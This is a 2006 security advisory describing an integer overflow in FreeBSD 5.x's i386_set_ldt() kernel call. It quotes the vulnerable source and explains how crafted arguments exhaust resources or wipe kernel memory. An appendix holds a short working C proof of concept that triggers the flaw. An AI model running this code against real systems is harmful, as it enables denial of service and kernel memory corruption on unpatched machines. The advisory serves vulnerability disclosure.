FreeBSD 5.x kernel i386_set_ldt() integer overflow vulnerability

Filename: RISE-2006002.txt (32f27f0f2725fea469e3d920bfb47a7f)
RISE ID: RISE-2006002
CVE Name: CVE-2006-4172, CVE-2006-4178
Bugtraq ID: 20158
Published: Sep 23, 2006 10:36
Updated: Sep 23, 2006 10:36

Introduction

There exists a vulnerability within a architecture dependent function of the FreeBSD kernel (FreeBSD 5.2-RELEASE through FreeBSD 5.5-RELEASE), which when properly exploited can lead to local compromise of the vulnerable system.
This vulnerability was fixed in FreeBSD 6.0-RELEASE, but production (legacy) releases 5.2 through 5.5 are still vulnerable.

Details

The i386_set_ldt() system call will set a list of i386 descriptors for the current process in its LDT. It accepts a starting selector number (start),an array of memory that will contain the descriptors to be set (descs), and the number of entries to set (num).
This vulnerability can be triggered by calling the i386_set_ldt() system call, (available to user through sysarch() system call), with the start argument set to a low integer value, descs set to a value different than null and num set to a high unsigned integer value, resulting in an integer overflow in largest_ld and descs_size (lines 533 and 540), which will result in the consumption of all available operating system resources (line 541).
This vulnerability can be also triggered by setting the start argument to a low integer value, descs set to null and num set to a high unsigned integer value, resulting in an integer overflow in largest_ld (line 515), which will result in in the erase of operating system sensitive data (lines 519 and 520).
This is part of the vulnerable function from FreeBSD 5.5-RELEASE.

476 static int
477 i386_set_ldt(td, args)
478         struct thread *td;
479         char *args;
480 {
481         int error = 0, i;
482         int largest_ld;
483         struct mdproc *mdp = &td->td_proc->p_md;
484         struct proc_ldt *pldt = 0;
485         struct i386_ldt_args ua, *uap = &ua;
486         union descriptor *descs, *dp;
487         int descs_size;
488 
489         if ((error = copyin(args, uap, sizeof(struct i386_ldt_args))) < 0)
490                 return(error);
491 
492 #ifdef  DEBUG
493         printf("i386_set_ldt: start=%d num=%d descs=%p\n",
494             uap->start, uap->num, (void *)uap->descs);
495 #endif
496 
497         if (uap->descs == NULL) {
498                 /* Free descriptors */
499                 if (uap->start == 0 && uap->num == 0) {
500                         /*
501                          * Treat this as a special case, so userland needn't
502                          * know magic number NLDT.
503                          */
504                         uap->start = NLDT;
505                         uap->num = MAX_LD - NLDT;
506                 }
507                 if (uap->start <= LUDATA_SEL || uap->num <= 0)
508                         return (EINVAL);
509                 mtx_lock_spin(&sched_lock);
510                 pldt = mdp->md_ldt;
511                 if (pldt == NULL || uap->start >= pldt->ldt_len) {
512                         mtx_unlock_spin(&sched_lock);
513                         return (0);
514                 }
515                 largest_ld = uap->start + uap->num;
516                 if (largest_ld > pldt->ldt_len)
517                         largest_ld = pldt->ldt_len;
518                 i = largest_ld - uap->start;
519                 bzero(&((union descriptor *)(pldt->ldt_base))[uap->start],
520                     sizeof(union descriptor) * i);
521                 mtx_unlock_spin(&sched_lock);
522                 return (0);
523         }
524 
525         if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {
526                 /* complain a for a while if using old methods */
527                 if (ldt_warnings++ < NUM_LDT_WARNINGS) {
528                         printf("Warning: pid %d used static ldt allocation.\n",
529                             td->td_proc->p_pid);
530                         printf("See the i386_set_ldt man page for more info\n");
531                 }
532                 /* verify range of descriptors to modify */
533                 largest_ld = uap->start + uap->num;
534                 if (uap->start >= MAX_LD ||
535                     uap->num < 0 || largest_ld > MAX_LD) {
536                         return (EINVAL);
537                 }
538         }
539 
540         descs_size = uap->num * sizeof(union descriptor);
541         descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);
542         if (descs == NULL)
543                 return (ENOMEM);
544         error = copyin(uap->descs, descs, descs_size);
545         if (error) {
546                 kmem_free(kernel_map, (vm_offset_t)descs, descs_size);
547                 return (error);
548         }
549

A little proof of concept code that triggers this vulnerability can be found in appendix section of this document.

Vendor

Vendor was notified, as this is not a critical vulnerability, proper corrections should be available soon.

Credits

This vulnerability was discovered by Adriano Lima <adriano@risesecurity.org>, further research by Rodrigo Rubira Branco <rodrigo@risesecurity.org>.

Disclaimer

The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected.

Appendix

bsd-x86-ldt.c

#include <stdio.h>
#include <stdlib.h>
#include <machine/segments.h>
#include <machine/sysarch.h>

int main(int argc,char **argv){

    if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_FAILURE);
}